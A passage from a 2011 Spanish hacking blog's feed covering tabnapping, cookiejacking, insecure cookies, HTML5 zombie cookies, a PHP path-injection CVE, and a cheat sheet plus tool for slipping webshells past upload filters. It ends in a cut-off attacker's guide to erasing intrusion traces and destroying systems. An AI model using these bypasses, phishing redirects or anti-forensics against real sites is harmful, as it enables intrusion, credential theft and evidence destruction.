otro ataque de clickjacking) y ello conlleva a tratar de camuflar los exploits en forma de aplicaciones atractivas, como juegos o puzzles, para que el usuario haga Drag'n'Drop&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5293250222639356458?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5293250222639356458/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5293250222639356458' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5293250222639356458'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5293250222639356458'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/09/html5-vi-dragndrop-attacks.html' title='HTML5 [VI]: Drag&apos;n&apos;Drop attacks'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5017254523683978520</id><published>2011-09-17T12:20:00.002+02:00</published><updated>2011-09-17T12:22:51.924+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQLi'/><category scheme='http://www.blogger.com/atom/ns#' term='Retos'/><title type='text'>Retos SQLi</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;  Nuestro compañero Seth ha habilitado una web de prácticas vulnerable a SQLi. Existen diferentes niveles de dificultad, por lo que casi todo el mundo podría resolver al menos uno de ellos.&lt;br /&gt;&lt;br /&gt;Si quereis intentarlo aquí os dejo la web =&gt; &lt;a href="http://vepeese.xdblog.com.ar/"&gt;¡¡Practica inyecciones SQL!!&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5017254523683978520?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5017254523683978520/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5017254523683978520' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5017254523683978520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5017254523683978520'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/09/retos-sqli.html' title='Retos SQLi'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8852426832692959177</id><published>2011-09-15T00:51:00.000+02:00</published><updated>2011-09-15T00:52:08.726+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Clickjacking'/><category scheme='http://www.blogger.com/atom/ns#' term='0-day'/><title type='text'>Cookiejacking, 0-day de IE y Rosario Valotta</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;  Hacía ya tiempo le estaba siguiendo el rastro a este tema, el del cookiejacking (robo , o "apropiación" como diría Grey, de cookies de sesión a través de UI Redressing), a partir de un enlace de Rosario Valotta que me mandó Seth en Mayo o Junio, no recuerdo bien, donde hablaba del 0-day de IE y su explotación mediante Drag-and-drop. El caso es que me he encontrado con la presentación que hizo  en la Swiss Cyber Storm de este año y me ha encantando por varios motivos, entre el que destaco la imaginación e ingenio que aplica para ir sorteando cada obstáculo con el que se encuentra.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Presentación PDF =&gt; https://www.hacking-lab.com/nina/?wicket:interface=:1:articleContainer:downloadContainer:filelink::ILinkListener::&lt;br /&gt;&lt;br /&gt;Video de la presentación =&gt; http://www.youtube.com/watch?v=VsSkcnIFCxM&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8852426832692959177?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8852426832692959177/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8852426832692959177' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8852426832692959177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8852426832692959177'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/09/cookiejacking-0-day-de-ie-y-rosario.html' title='Cookiejacking, 0-day de IE y Rosario Valotta'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-7941119499787959663</id><published>2011-09-11T17:46:00.006+02:00</published><updated>2011-09-14T10:35:39.666+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTML5'/><category scheme='http://www.blogger.com/atom/ns#' term='Phising'/><category scheme='http://www.blogger.com/atom/ns#' term='Tabnapping'/><title type='text'>HTML5 [V]: Autofocus + onblur = Phising (Tabnapping)</title><content type='html'>&lt;style&gt;fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;}&lt;br /&gt;&lt;/style&gt;&lt;br /&gt;&lt;br /&gt;Saludos,&lt;br /&gt;&lt;br /&gt;   Estuve echando un ojo al episodio 8 de MundoHackerTV cuando me encontré con un PoC en el cual usaban para averiguar qué páginas habían sido visitados algo que ya comenté hace un par de años, &lt;a href="http://0verl0ad.blogspot.com/2009/02/css-attacks-i-css-history-hack.html"&gt;CSS History Hack&lt;/a&gt;. Este ataque los navegadores modernos ya lo bloquean, por lo que me da la sensación de que en esa demostración utilizaban algún navegador desactualizado. He intentado diferentes ideas para tratar de averiguar si un enlace había sido visitado, como la que menciono en el link que he dejado más arriba no pude hacerla funcionar intenté usar JavaScript para detectar un cambio de color en el link usando &lt;b style="color: lime;"&gt;getComputerStyle&lt;/b&gt; pero tampoco resultó: al sacar el RGB de todos los links siempre tenía el mismo color, fuese o no visitado (aunque al visualizarlo en el navegador tuvieran diferentes colores), por lo que deduzco que discriminar entre visitado/no visitado es imposible actualmente &lt;b style="color: lime;"&gt;Si alguien tiene info actualizada que deje un comentario&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Mencioné al principio la demostración de MundoHackerTV, pero no he explicado en qué consistía. La idea era entrar a una web, y al cambiar de pestaña en el navegador, esta web hiciera una redirección hacia un scamer de alguna web en que el usuario suela visitar (de ahí lo del CSS Hack History). La idea es que ciertas webs se suelen mantener abiertas, como las redes sociales, mientras que estamos navegando por otras pestañas. Al haber varias pestañas, existe la posibilidad de que el usuario se confunda y crea que el scam es la web original y deja allí sus datos. Para entenderlo mejor echad un vistazo &lt;a href="http://www.globbtv.com/108/programas/1430/mundo-hacker-tv-ep8---seguridad-y-hacking-web"&gt;al capitulo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;  El PoC más simple que se me ha ocurrido (omitiendo la parte en que detecta si ha visitado facebook, que ya he explicado porqué no la he incluido) es el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;br /&gt;&amp;lt;script&gt;&lt;br /&gt; var pag ="http://www.google.com"; &lt;br /&gt;function redireccionar(){ &lt;br /&gt;&lt;br /&gt;  location.href=pag;&lt;br /&gt;}  &lt;br /&gt;&lt;br /&gt;&amp;lt;/script&gt;&lt;br /&gt;&amp;lt;input type="text" onblur="redireccionar();" autofocus&gt;&lt;br /&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;   Para detectar si el usuario ha cambiado de pestaña usamos el evento onblur, que se disparará cuando se piera el foco en el elemento input. Al cambiar de pestaña, se pierde el foco y se disparará la redirección (en este caso google.com). Además, para que todo funcione, utilizo autofocus en el input, ya que de esta forma el foco se colocará directamente en el input y no hará falta de que el usuario haga click en él.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="color: lime;"&gt; Me han informado via twitter de que esta técnica de phising se la denomina "tabnapping", asi que edito el título del post.&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-7941119499787959663?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/7941119499787959663/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=7941119499787959663' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7941119499787959663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7941119499787959663'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/09/html5-v-autofocus-onblur-phising.html' title='HTML5 [V]: Autofocus + onblur = Phising (Tabnapping)'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-2582405343679906640</id><published>2011-08-29T03:23:00.004+02:00</published><updated>2011-08-29T05:27:49.557+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Herramientas'/><title type='text'>0verBypass.pl : herramienta para auditar uploaders</title><content type='html'>Saludos!&lt;br /&gt;&lt;br /&gt;  Hace un par de días escribí &lt;a href="http://0verl0ad.blogspot.com/2011/08/cheatsheet-to-bypass-uploaders.html"&gt;un post, a modo de chuleta&lt;/a&gt;, para tener reunidas las técnicas más comunes para poder saltarse las restricciones de los uploaders, y de esta forma poder subir archivos con extensiones no permitidas (como PHP por ejemplo). En ese mismo post Seth me comentó que hiciera alguna herramienta que automatizara un poco esto, asi que me puse a codear algo para auditar. La herramienta está todavía pendiente de perfeccionarse, ya que tengo pensado añadir más opciones (por ahora sólo puede testear de 5 formas diferentes, que son suficientes pero cuantas más añada mejor), y además quiero permitir la subida de una shell desde un archivo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   El código se puede depurar bastante, aunque usando subrutinas he conseguido simplificar bastante el primer esbozo que había hecho, asi que admito sugerencias para simplificarlo aun más.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pastebin.com/gjxjEe63"&gt;Source de la herramienta [Click Aquí]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Quiero aclarar que, además de las 5 técnicas para realizar el bypass que puedes seleccionar, subo los archivos con las extensiones alternando en mayúsculas/minúsculas (para saltar filtros case sensitive con listas negras de palabras) y intento camuflar la shell como una imagen .gif añadiendo al inicio el header GIF89a y poniendo como Content-Type image/gif.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2582405343679906640?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/2582405343679906640/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=2582405343679906640' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2582405343679906640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2582405343679906640'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/0verbypasspl-herramienta-para-auditar.html' title='0verBypass.pl : herramienta para auditar uploaders'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-2195405047417320237</id><published>2011-08-26T05:58:00.004+02:00</published><updated>2011-08-26T06:24:47.750+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Herramientas'/><category scheme='http://www.blogger.com/atom/ns#' term='Cookies'/><title type='text'>Insecure Cookie Handling</title><content type='html'>&lt;style&gt;fieldset { background: black; color: lime; cursor: crosshair; border: 1px lime dotted;}&lt;/style&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos!&lt;br /&gt;&lt;br /&gt;  El manejo de las cookies de forma insegura es algo muchisimo más común de lo que se piensa. Cuando hablo de "manejo inseguro" me refiero tanto a que las cookies pueden contener una información sensible en sí misma, o que las aplicaciones web utilizan las cookies sin tomar en cuenta aspectos básicos de seguridad.&lt;br /&gt;&lt;br /&gt;  El caso más conocido por todos es el de las cookies predecibles, como lo son Admin=1, usr=admin, User=1, etc. Normalmente las aplicaciones vulnerables suelen contar con un checkeo de la cookie bastante rudimentario basado en una simple comparación tipo:&lt;br /&gt; &lt;fieldset&gt;&lt;code&gt;if ( isset($_COOKIE['id']) &amp;&amp; $_COOKIE['id'] == 1 )&lt;/code&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;  Suponiendo que ese código fuese la comprobación de seguridad para acceder al panel de administración, podemos ver que podría bypassearse creando una cookie llamada id y de valor 1. En otros casos no es tan fácil de darse cuenta de que es un manejo inseguro porque el valor de la cookie está "camuflado"&lt;br /&gt;&lt;br /&gt;  En estos casos lo que requiere la explotación es tener imaginación y hacer pruebas hasta encontrar un patrón:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;code&gt;&lt;br /&gt;...&lt;br /&gt;$cookie = $usuario . rand(0,10);&lt;br /&gt;$cookie = base64_encode($cookie);&lt;br /&gt;...&lt;br /&gt;&lt;/code&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;  En este caso la cookie aparecería en base64 y además variaría por los números random generados, pero como podemos darnos cuenta hay muy poca entropía, por lo que sería fácil dar con una cookie existente y usurpar a un usuario.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Pero este fallo de seguridad no sólo puede utilizarse para escalar privilegios sino que también puede aparecer en otros sitios, como tiendas online, por poner un ejemplo, donde el precio de los productos adquiridos queden almacenados en la cookie y después use esos datos para realizar la factura (puede sonar rocambolesco pero os aseguro que por ahí ví el reporte de una vulnerabilidad similar).&lt;br /&gt;&lt;br /&gt;  Para realizar un ataque de fuerza bruta con atributos y valores de cookies well-known y tratar de escalar de esta forma privilegios Seth codeó una herramienta en JavaScript para GreasyMonkey que podeis ver aquí: &lt;a href="http://xd-blog.com.ar/descargas/programas/cookie_login_bypass/script.1.0.user.js"&gt; CHPMEGAC00KIEH4X &lt;/a&gt;. Actualmente si quereis echar una mano con su proyecto podeis mandarle más pares atributo/valor de cookies para que las añada al diccionario.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2195405047417320237?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/2195405047417320237/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=2195405047417320237' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2195405047417320237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2195405047417320237'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/insecure-cookie-handling.html' title='Insecure Cookie Handling'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-2856802919480026196</id><published>2011-08-25T06:06:00.003+02:00</published><updated>2011-08-27T06:10:32.144+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CheatSheet'/><title type='text'>CheatSheet to bypass uploaders</title><content type='html'>1. Escribir la extensión del archivo alternando mayúsculas/minúsculas (.pHp, .PHp, .pHP...)&lt;br /&gt;2. Uso de extensiones menos conocidas (.php5..)&lt;br /&gt;3. Doble extensión (.jpeg.php)&lt;br /&gt;4. Mandar una cabecera HTTP con el MIME type modificado por uno que admita (image/gif, image/JPEG)&lt;br /&gt;5. Incluir al inicio del archivo la cabecera de una extensión permitida (GIF89a)&lt;br /&gt;6. Añadir al final del nombre del archivo espacios y/o puntos (shell.php    ... ......)&lt;br /&gt;7. Usar null bytes &lt;br /&gt;8. Incluir caracteres extraños (";", "&amp;", "[" =&gt; shell.php;jpeg)&lt;br /&gt;9. Bypass getimagesize() =&gt; Incluir la shell dentro de los metadatos de una imagen real (usando &lt;a href="http://0verl0ad.blogspot.com/2011/06/0verlfi-inyecta-webshells-en-metadatos.html"&gt;0verLFI&lt;/a&gt;) y después modificar el MIME type&lt;br /&gt;10. Abuso de la normalización de rutas (shell.php/./././[...])&lt;br /&gt;11. Subida de un .htaccess que cambie las extensiones de los archivos ( ForceType application/x-httpd-php )&lt;br /&gt;&lt;br /&gt;Estas son las que se me vienen ahora a la cabeza, si a alguien se le ocurre alguna más que la postee en los comentarios.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-2856802919480026196?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/2856802919480026196/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=2856802919480026196' title='7 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2856802919480026196'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/2856802919480026196'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/cheatsheet-to-bypass-uploaders.html' title='CheatSheet to bypass uploaders'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-87507218884950065</id><published>2011-08-25T05:10:00.002+02:00</published><updated>2011-08-25T05:27:27.056+02:00</updated><title type='text'>PHP File Path Injection</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;  Ya había leído algo de esto por Twitter y quería haber escrito algo pero se me pasó. Hoy he estado echando un ojo por Security Focus y lo he vuelto a encontrar así que me dispongo a explicar brevemente de que se trata.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  La vulnerabilidad (CVE-2011-2202) permite a un atacante crear archivos en root (/) al realizar la subida de un archivo en cualquier directorio. Esto es debido a que en PHP permite que el nombre de los archivos empiecen por / o \. De esta forma es posible subir un archivo poniendo como filename &lt;b&gt;/loquesea&lt;/b&gt;. Por supuesto que es necesario primero tener los permisos de escritura adecuados. &lt;br /&gt;&lt;br /&gt;  El exploit es tan simple como subir el archivo con la respectiva "/"  o "\". Las versiones afectadas son =&lt;5.3.6 &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-87507218884950065?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/87507218884950065/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=87507218884950065' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/87507218884950065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/87507218884950065'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/php-file-path-injection.html' title='PHP File Path Injection'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-3003413683504932986</id><published>2011-08-22T03:48:00.005+02:00</published><updated>2011-08-22T19:41:39.563+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cookies'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML5'/><title type='text'>HTML5 [IV]: Local Storage y las cookies zombis (o supercookies)</title><content type='html'>Saludos!&lt;br /&gt;&lt;br /&gt;  Empiezo a escribir este post haciendo tiempo para que empiece Mundo Hacker TV (aunque lo terminaré después del programa), lo recomiendo si no haces nada más interesante a estas horas (quien me diría a mí que alguna vez promocionaría algo emitido por Telecinco).&lt;br /&gt;&lt;br /&gt;  En otra ocasión, hace apenas unos meses, ya comenté algo sobre &lt;a href="http://0verl0ad.blogspot.com/2011/05/zombie-cookies-cookies-que-vuelven-la.html"&gt;las cookies zombis&lt;/a&gt;, hablando bastante someramente de qué se trataba y recomiendé la API para JavaScript "Evercookie". Ahora vuelvo a retomar el tema porque recientemente ha saltado la liebre con las cookies de seguimiento zombis que usaban KissMetrics y Hulu (no voy a entrar en detalles, hay cientos de webs hablando del caso). A esto se le suma toda la parafernalia de HTML5 y la seguridad, cosa que me está gustando bastante indagar (gracias a Seth y a &lt;a href="https://twitter.com/#!/franjoespejo"&gt;@Franjoespejo&lt;/a&gt; que me están cebando a publicaciones interesantes).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Entrando ya en materia quizás lo primero que debemos de saber es... ¿Qué diablos es eso de Local Storage que han metido con HTML5? Pues la respuesta es sencilla: almacenar información desde el lado del cliente para agilizar la carga de páginas y similares. Presenta ciertas ventajas sobre las cookies de toda la vida, como pueda ser sus 5 Mb de capacidad de almacenamiento, o el tiempo de permanencia.&lt;br /&gt;&lt;br /&gt;   El concepto base de las cookies zombis es poder respawnear la cookie, utilizando información almacenada en el cliente. De esta forma, en el caso de las empresas de tracking por ejemplo, pueden asignar un identificador a un usuario (una cookie HTTP) para realizar estudios de comportamiento, y además guardar "copias" de dicho identificador en el ordenador del usuario. Cuando el usuario borre la cookie, ésta volvera a ser creada utilizando como molde las copias escondidas. Creo que se entenderá mejor con una sencilla prueba de concepto:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;----Web_original.html-------&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;script&gt;&lt;br /&gt;localStorage.setItem("Foo", "Foo=0verl0ad;expires=Thu, 2 Aug 2020 20:47:11 UTC;");&lt;br /&gt;document.cookie = localStorage.getItem("Foo");&lt;br /&gt;&amp;lt;/script&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;----Respawner.html-----&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;script&gt;&lt;br /&gt;document.cookie = localStorage.getItem("Foo");&lt;br /&gt;alert(document.cookie);&lt;br /&gt;&amp;lt;/script&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;  Primero entramos en Web_Original.html, vemos en nuestro navegador (el PoC lo he ejecutado en Firefox 6.0, si a alguien no le funca que lo ponga en los comentarios) que la cookie se ha creado, y procedemos a borrarla. Ahora vayamos a Respawner.html y... ¡Tachan! ¡Ha vuelto a la vida!&lt;br /&gt;&lt;br /&gt;   Nuestro primer archivo HTML hace dos cosas: por un lado crea la cookie, y por otro crea una copia valiéndose de Local Storage. Después, cuando borramos la cookie y vamos a Respawner.html volvemos a crear la cookie con la copia que ya teníamos almacenada. Esto mismo pero almacenando la información en muchos más sitios es lo que hacía evercookie.&lt;br /&gt;&lt;br /&gt;  Ahora bien, el cómo implementan este concepto las grandes empresas de seguimiento es algo que descozco y que supongo que cada empresa mantendrá esto en secreto. En líneas generales supongo que cada vez que se entre en un sitio controlado por una de estas empresas se comprobará si existe una cookie, de no existir se buscará entre el registro de Local Storage para respawnearla, y si tampoco hay nada allí crearán una de nuevo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Está claro que Local Storage va a traer más de un quebradero de cabeza al unirse con otras técnicas como puedan ser XSS o SQLi, pero es tema para otro post.&lt;br /&gt;&lt;br /&gt;PD: entre unas cosas y otras he terminado a las 5:50 am, probáblemente haya metido la pata en alguna parte, si es así avisadme.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-3003413683504932986?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/3003413683504932986/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=3003413683504932986' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3003413683504932986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3003413683504932986'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/html5-iv-local-storage-y-las-cookies.html' title='HTML5 [IV]: Local Storage y las cookies zombis (o supercookies)'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-7011491153204474144</id><published>2011-08-19T13:28:00.002+02:00</published><updated>2011-08-19T14:08:28.837+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='huellas'/><category scheme='http://www.blogger.com/atom/ns#' term='Eliminación'/><title type='text'>Eliminación de huellas</title><content type='html'>Existen tantos tipos de huellas, como tipos de ataques realizados.&lt;br /&gt;&lt;br /&gt;Lo primero que hay que tener en cuenta, es qué hicimos, y como nos pueden cojer.&lt;br /&gt;&lt;br /&gt;Para entrar a robar a una casa, puede tirarse la puerta a patadas, utilizar una palanca (Fuerza Bruta), Ganzuas... En el primer caso hay que recomponer la puerta, en el seguro repararla, en el tercero, deshacerse de las ganzuas.&lt;br /&gt;Esto no implica que no queden otros rastros.&lt;br /&gt;&lt;br /&gt;Existen muchos tipos de herramientas, backdoors, sniffers para capturar datos, logs de acceso de Apache u otros servicios (daemons)...&lt;br /&gt;&lt;br /&gt;Muchos "Hackers" se limitan a eliminar los access_logs del apache, destruir webshells y backdoors, y root exploit's (Lo cual olvidé en mi último relato, por lo que supieron de la actividad, aunque no conocen su autor), y la cosa no es así.&lt;br /&gt;&lt;br /&gt;Si creamos un usuario, no bastaría con eliminar la cuenta... ¿Cómo creaste el usuario? ¿Mediante comandos?&lt;br /&gt;&lt;br /&gt;El fin de esta guía no es realizar el ataque perfecto, sino más bien una orientación.&lt;br /&gt;Existen multitud de herramientas, tales como Zappers que afirman eliminar todo rastro... Cuando esto no es así.&lt;br /&gt;&lt;br /&gt;Daremos un repaso por los medios más utilizados.&lt;br /&gt;&lt;br /&gt;A) Destrucción del sistema&lt;br /&gt;A-1) Esto ocurre cuando la evidencia es tal, que no queda otro remedio.&lt;br /&gt;&lt;br /&gt;La forma más común, almenos en mi caso, seria inhabilitar el login, y causar 